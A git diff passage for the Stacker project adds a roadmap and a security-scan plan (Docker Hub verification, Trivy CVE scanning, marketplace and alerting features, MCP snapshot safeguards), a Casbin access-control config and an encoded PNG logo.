Where `RepositoryInfo` adds: + ```rust + pub is_official: bool, + pub is_verified_publisher: bool, + pub pull_count: u64, + ``` + +2. **Make `security_scan_handler` call Docker Hub API** for each image found in the stack: + - Parse image names from `services.*.image` + - For each: call `docker_hub.get_repository_info(namespace, name)` + - Aggregate: set `hardened_images=true` if all images are official/verified-publisher OR from static hardened sources + - Currently the validator is sync — need to either make it async or do the Docker Hub check separately in the handler (preferred) + +3. **Rate limiting**: Docker Hub API allows 100 requests/hour for unauthenticated, 200/hour for authenticated. Cache results in Redis (`docker_hub:repo:{namespace}/{name}`) with 24h TTL. + +4. **Trivy/Grype integration** (separate from hardened_images): + - Run `trivy image --format json {image}` in a subprocess for each scanned stack + - Parse CVE list, severity counts + - Store results in `stack_template_review.security_checklist["cve_scan"]` + - Auto-set `verifications.vulnerability_scanned = true` when scan passes (no HIGH/CRITICAL CVEs) + +## Missing Features Implementation Plan (2026-04) + +### Phase 1 - Marketplace Foundation and Revenue Loop +- [x] **[stacker-vendor-payouts]** Implement vendor verification and payout foundations for marketplace sellers. + - [x] Add `marketplace_vendor_profile` storage plus admin template detail exposure with safe default fallback. + - [x] Add admin-only partial updates for vendor verification, onboarding, payout linkage, and metadata. + - [x] Add creator-visible vendor profile status so marketplace sellers can inspect onboarding and payout readiness. + - [x] Add a creator self-service vendor profile endpoint that is not tied to a specific template ID. + - [x] Add a creator onboarding-link bootstrap endpoint that idempotently creates or reuses payout linkage. + - [x] Persist auditable onboarding metadata and completion transitions for later real provider integration. +- [x] **[stacker-template-requirements]** Add real infrastructure requirements to marketplace templates. + - [x] Store supported clouds, minimum RAM/disk/CPU, supported OS, and related compatibility metadata. + - [x] Use these fields in marketplace create/read/update flows and webhook payloads. + - [x] Use `supported_clouds` and `supported_os` in deployment validation so incompatible targets are blocked early. + - [x] Add a shared backend server-capacity resolver for normalized App Service `/servers` catalog data. + - [x] Enforce `min_ram_mb` during deploy validation using the shared capacity resolver on both deploy entry points. + - [x] Extend numeric deploy validation to `min_disk_gb` and `min_cpu_cores`. +- [ ] **[stacker-review-notifications]** Close the creator feedback loop for template reviews. + - [x] Normalize `needs_changes` as a real admin review outcome with creator-visible review history and guarded admin routing. + - [ ] Send notifications for submit/approve/reject/update-required events. + - Include actionable review reasons and the next expected developer action. + +### Phase 2 - Reliability and User-Facing Correctness +- [x] **[stacker-duplicate-slug-409]** Return a clear conflict response when a marketplace slug already exists. + - Convert duplicate-slug failures from generic 500 errors into explicit 409/validation feedback. + - Keep CLI and UI messaging aligned so the user gets a recoverable error. +- [ ] **[stacker-agent-alerts]** Add server-side endpoint to receive outbound alerts from Status Panel agents. + - Status Panel now sends `POST` webhook with `X-Agent-Id` header when host metrics breach thresholds. + - Implement `POST /api/v1/agents/alerts` (or similar) to receive the payload: + ```json + { + "alerts": [{ + "kind": "high_cpu" | "high_memory" | "high_disk", + "severity": "warning" | "critical", + "message": "CPU usage at 96.2% (threshold: 95%)", + "value": 96.2, + "threshold": 95.0, + "recovered": false, + "timestamp_ms": 1700000000000, + "agent_id": "agent-123" + }], + "agent_id": "agent-123", + "timestamp_ms": 1700000000000 + } + ``` + - Return `2xx` on success, `4xx` on bad request (agent won't retry), `5xx` triggers agent retry (3x, exponential backoff). + - Validate `X-Agent-Id` header and match to known agent registration. + - Store alerts in DB for history; optionally fan out to notification channels (email/Slack). + - Surface active/recent alerts in admin dashboard per-server view. +- [ ] **[stacker-rollback]** Add version-aware deployment rollback. + - Allow operators to choose a prior template or deployment version and roll back safely. + - Persist rollback history and expose the effective version in deployment details. + +### Phase 3 - Team and Integration Expansion +- [x] **[stacker-ci-exporters]** Extend CI/CD export support beyond GitHub and GitLab. + - [x] Add Bitbucket Pipelines export and validate support, including aliases and stale/missing file checks. + - [x] Add Jenkinsfile export and validate support using the same `STACKER_TOKEN` convention. + - Keep export templates aligned with current Stacker project and secret conventions. +- [ ] **[stacker-team-projects]** Add shared project ownership and team collaboration primitives. + - Introduce org/team ownership, invitations, seat-aware permissions, and shared deployment visibility. + - Define how ownership flows through marketplace, deployments, and future billing. + +### Phase 4 - Control Plane Completion +- [ ] **[stacker-pipe-execution]** Finish pipe execution end-to-end across Stacker and Status Panel. + - Ensure the server, queueing layer, and agent all support the same pipe command set. + - Coordinate command provenance, reporting, and error surfaces with Status Panel. + +### Delivery Order +- [ ] Start with `stacker-vendor-payouts`, `stacker-template-requirements`, and `stacker-duplicate-slug-409`. +- [ ] Follow with `stacker-agent-alerts`, `stacker-review-notifications`, and `stacker-rollback` once the marketplace data contract is stable. +- [ ] Treat `stacker-team-projects` and `stacker-pipe-execution` as multi-sprint workstreams with cross-project coordination. + + +## MCP safe troubleshooting snapshots + +- Added `request_server_snapshot` MCP tool for Hetzner-first pre-remediation snapshots. +- Snapshot creation requires explicit `confirm_snapshot=true` because it is a provider write operation. +- Follow-up: add a shared risk guard to destructive MCP tools (`get_container_exec`, `restart_container`, `stop_container`, `remove_app`, force `deploy_app`, proxy/firewall writes) so they can require a recent `snapshot_id`/provider action before execution. diff --git a/stacker/stacker/access_control.conf.dist b/stacker/stacker/access_control.conf.dist new file mode 100644 index 0000000..f164af1 --- /dev/null +++ b/stacker/stacker/access_control.conf.dist @@ -0,0 +1,14 @@ +[request_definition] +r = sub, obj, act + +[policy_definition] +p = sub, obj, act + +[role_definition] +g = _, _ + +[policy_effect] +e = some(where (p.eft == allow)) + +[matchers] +m = g(r.sub, p.sub) && keyMatch2(r.obj, p.obj) && r.act == p.act diff --git a/stacker/stacker/assets/logo/stacker.png b/stacker/stacker/assets/logo/stacker.png new file mode 100644 index 0000000000000000000000000000000000000000..c10321e5b86489b1320f83635174111a13d255d9 GIT binary patch literal 47673 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 